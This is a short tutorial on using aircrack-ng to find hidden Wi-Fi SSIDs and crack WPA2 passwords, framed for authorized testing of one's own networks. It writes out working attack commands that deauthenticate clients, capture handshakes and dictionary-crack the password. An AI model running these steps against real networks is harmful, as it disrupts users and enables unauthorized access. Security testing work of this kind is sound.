WPA2 Network Cracking Guide Using Aircrack-ng

Description

This document provides a detailed guide on how to use the aircrack-ng suite to test the security of WPA2 networks and to identify hidden network SSIDs. The instructions and scripts included are for educational purposes and authorized network security testing only.

Disclaimer

Important: This document is intended for educational and legal use only. Unauthorized access to networks is illegal and unethical. The authors and contributors are not responsible for any misuse of the information provided in this document. By using the resources in this document, you agree to use them responsibly and within the boundaries of the law.

Prerequisites

1. A computer with a compatible wireless network adapter.
2. Aircrack-ng suite installed.
3. Basic knowledge of Linux command line.

Installation

Install Aircrack-ng on Debian-based systems (Ubuntu, Kali Linux, etc.)

```
sudo apt update
sudo apt install aircrack-ng
```

Install Aircrack-ng on Arch-based systems (Arch, Manjaro, etc.)

```
sudo pacman -S aircrack-ng
```

Usage

Finding Hidden Network SSIDs

1. Put Your Wireless Interface in Monitor Mode

Identify your wireless network interface:

```
iwconfig
```

Assuming your wireless interface is `wlan0`, put it into monitor mode:

```
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
```

2. Capture Traffic to Find Hidden SSID

Start airodump-ng to capture packets:

```
sudo airodump-ng wlan0
```

Identify the hidden network (look for a network without an SSID):

```
sudo airodump-ng --bssid <HIDDEN_BSSID> --channel <CH> -w capture wlan0
```

3. Deauthenticate a Client to Reveal Hidden SSID

To reveal the hidden SSID, deauthenticate a client from the network:

```
sudo aireplay-ng --deauth 10 -a <HIDDEN_BSSID> -c <CLIENT_MAC> wlan0
```

After the deauthentication, airodump-ng should display the hidden SSID when the client reconnects.

Cracking the WPA2 Password of the Revealed Network

4. Capture Handshake

Target the network by specifying the BSSID and channel:

```
sudo airodump-ng --bssid <REVEALED_BSSID> --channel <CH> -w capture wlan0
```

5. Deauthenticate a Client Again (if needed)

To capture a handshake, deauthenticate a client from the network:

```
sudo aireplay-ng --deauth 10 -a <REVEALED_BSSID> -c <CLIENT_MAC> wlan0
```

6. Crack the WPA2 Password

Once you have captured the handshake (look for `WPA handshake` message in airodump-ng), use aircrack-ng to crack the password:

```
sudo aircrack-ng -w /path/to/wordlist.txt -b <REVEALED_BSSID> capture-01.cap
```

If successful, aircrack-ng will display the WPA2 password.

Conclusion

Use this guide to test and improve the security of your own networks. Unauthorized network access is illegal. Always ensure you have explicit permission before testing any network.

Legal Disclaimer

This guide is intended solely for educational purposes and authorized network security testing. Unauthorized access to networks is a criminal offense. The authors and contributors of this document are not responsible for any misuse of the information provided.